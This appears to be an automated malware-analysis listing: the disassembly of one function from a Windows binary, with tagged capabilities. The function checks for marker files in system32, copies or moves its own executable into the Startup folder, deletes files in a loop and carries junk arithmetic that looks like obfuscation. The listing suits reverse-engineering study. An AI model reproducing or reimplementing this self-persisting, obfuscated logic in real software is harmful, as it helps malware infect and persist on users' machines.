Function at 0x40b150
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x304
mov eax, dword [0x458190]
mov ecx, dword [0x456820]
mov dword [esp + 0x300], eax
push esi
mov esi, dword [0x45682c]
imul esi, esi, 0xd5bac
mov eax, 0x637bce79
imul ecx
imul ecx, ecx, 0x8a1c3
sar edx, 0x12
add esi, edx
push edi
mov edi, edx
mov edx, dword [0x45681c]
mov eax, 0x72563b0d
imul edx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
shr edi, 0x1f
add edi, esi
sub edi, eax
add edi, ecx
mov ecx, dword [0x456830]
imul ecx, ecx, 0x58c2a
add edi, ecx
mov ecx, dword [0x456828]
mov eax, 0x1315e2c9
imul ecx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456818]
mov esi, ecx
imul edx, edx, 0x85714
imul esi, esi, 0xd69d0
sub esi, eax
add esi, edx
mov edx, dword [0x456834]
mov eax, 0x637bce79
imul edx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3b50a35b
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x45682c], edi
mov dword [0x456834], esi
call fcn.0042a2cd
add esp, 8
cmp eax, 0xffffffff
je 0x40b60d
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042a2cd
add esp, 8
cmp eax, 0xffffffff
je 0x40b60d
mov ecx, dword [0x456834]
mov esi, dword [0x456818]
mov eax, 0x4ca85b91
imul esi, esi, 0xd5bac
imul ecx
sar edx, 0x12
mov edi, edx
add esi, edx
mov eax, 0x72563b0d
imul ecx
mov ecx, dword [0x456830]
sar edx, 0x10
imul ecx, ecx, 0x8a1c3
mov eax, edx
shr eax, 0x1f
add eax, edx
shr edi, 0x1f
add edi, esi
sub edi, eax
sub edi, ecx
mov ecx, dword [0x456820]
mov eax, 0x2e259371
imul ecx
sar edx, 0x10
mov eax, edx
push 0x104
lea ecx, [esp + 0x20c]
shr eax, 0x1f
add edi, edx
push ecx
add eax, edi
push 0
mov dword [0x456818], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x208]
push 0x5c
push edx
call fcn.0042ad40
mov esi, eax
push str..tmp
lea eax, [esp + 0x214]
push eax
lea ecx, [esp + 0x18]
push str._s_s
push ecx
inc esi
call fcn.00429f31
mov ecx, dword [0x45682c]
mov edi, dword [str._r_____r____]
mov eax, 0x637bce79
imul edi, edi, 0xa4b0c
imul ecx
mov ecx, dword [0x456818]
imul ecx, ecx, 0x23d2f
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov ecx, dword [0x456820]
mov eax, 0x2681eb59
imul ecx
mov ecx, dword [0x456834]
sar edx, 0x10
mov eax, edx
add esp, 0x18
shr eax, 0x1f
add eax, edx
sub edi, eax
push 0
sub edi, ecx
push 0x18
lea ecx, [esp + 0x110]
push ecx
sub edi, 0xd5bac
push 0
mov dword [0x456820], edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x108]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40b377
push ebx
sub eax, ecx
push esi
lea edx, [esp + eax + 0x110]
push 0x4471a8
push edx
call fcn.00429f31
mov esi, dword [0x456824]
mov edi, dword [0x456838]
mov ecx, dword [0x45681c]
mov eax, 0x1315e2c9
imul ecx, ecx, 0x85714
imul esi
sar edx, 0x10
mov ebx, edi
imul ebx, ebx, 0xfff2a454
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x7464ef13
imul edi
add ebx, ecx
sar edx, 0x12
add ebx, edx
mov ecx, edx
mov eax, 0x4d18b8d9
imul edi
sar edx, 0x11
shr ecx, 0x1f
mov eax, edx
shr eax, 0x1f
add ecx, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add eax, edx
sub ecx, eax
add esp, 0xc
mov dword [0x456828], ecx
xor edi, edi
jmp 0x40b410
mov ecx, dword [0x456828]
mov esi, dword [0x456824]
mov edi, edi
mov edx, dword [0x45682c]
imul esi, esi, 0xfffdd9b2
imul ecx, ecx, 0x58c2a
imul edx, edx, 0xd5bac
sub esi, edx
mov eax, 0x2681eb59
imul dword [0x45681c]
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
lea ecx, [esp + 0xc]
push 0
push ecx
mov dword [0x456830], esi
call fcn.0042a2cd
add esp, 8
cmp eax, 0xffffffff
je 0x40b46a
lea edx, [esp + 0xc]
push edx
call ebx
inc edi
cmp edi, 0x64
jl 0x40b402
mov ecx, dword [0x45682c]
mov esi, dword [0x456834]
mov eax, 0x3d63c959
imul esi, esi, 0xd5bac
imul ecx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456820]
imul edx, edx, 0x6c5b6
mov ecx, eax
sub ecx, esi
mov esi, dword [esp + 0x314]
sub ecx, edx
mov eax, 0x2e259371
imul dword [str._r_____r____]
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
test esi, esi
mov dword [0x456838], ecx
pop ebx
je 0x40b4d1
cmp esi, 2
jne 0x40b585
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea ecx, [esp + 0x10c]
push ecx
lea edx, [esp + 0x10]
push edx
call edi
test eax, eax
jne 0x40b57f
mov ecx, dword [0x456824]
mov eax, 0x1315e2c9
imul ecx
mov eax, dword [0x456838]
imul eax, eax, 0x8cc35
sar edx, 0x10
mov esi, edx
shr esi, 0x1f
add esi, edx
add esi, eax
mov eax, 0x637bce79
imul ecx
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456830]
imul edx, edx, 0x6a41a
sub esi, ecx
mov ecx, dword [0x45681c]
add esi, edx
mov eax, 0x3b50a35b
imul ecx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
push 6
add eax, edx
lea ecx, [esp + 0x10c]
push ecx
lea edx, [esp + 0x10]
sub esi, eax
push edx
mov dword [str._r_____r____], esi
call edi
pop edi
mov eax, 0xfffffffe
pop esi
mov ecx, dword [esp + 0x300]
call fcn.00429d61
add esp, 0x304
ret
mov ecx, dword [0x456838]
mov eax, 0x1315e2c9
imul ecx
imul ecx, ecx, 0x8cc35
sar edx, 0x10
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x45681c]
mov eax, 0x3d63c959
imul edx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [str._r_____r____]
add eax, edi
sub eax, ecx
mov ecx, dword [0x456830]
imul ecx, ecx, 0x6a41a
add eax, ecx
sub eax, edx
add eax, 0x6a5e7
cmp esi, 1
mov dword [0x45681c], eax
je 0x40b5e1
cmp esi, 2
jne 0x40b5f6
push 0
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x300]
call fcn.00429d61
add esp, 0x304
ret
mov ecx, dword [esp + 0x308]
pop edi
or eax, 0xffffffff
pop esi
call fcn.00429d61
add esp, 0x304
ret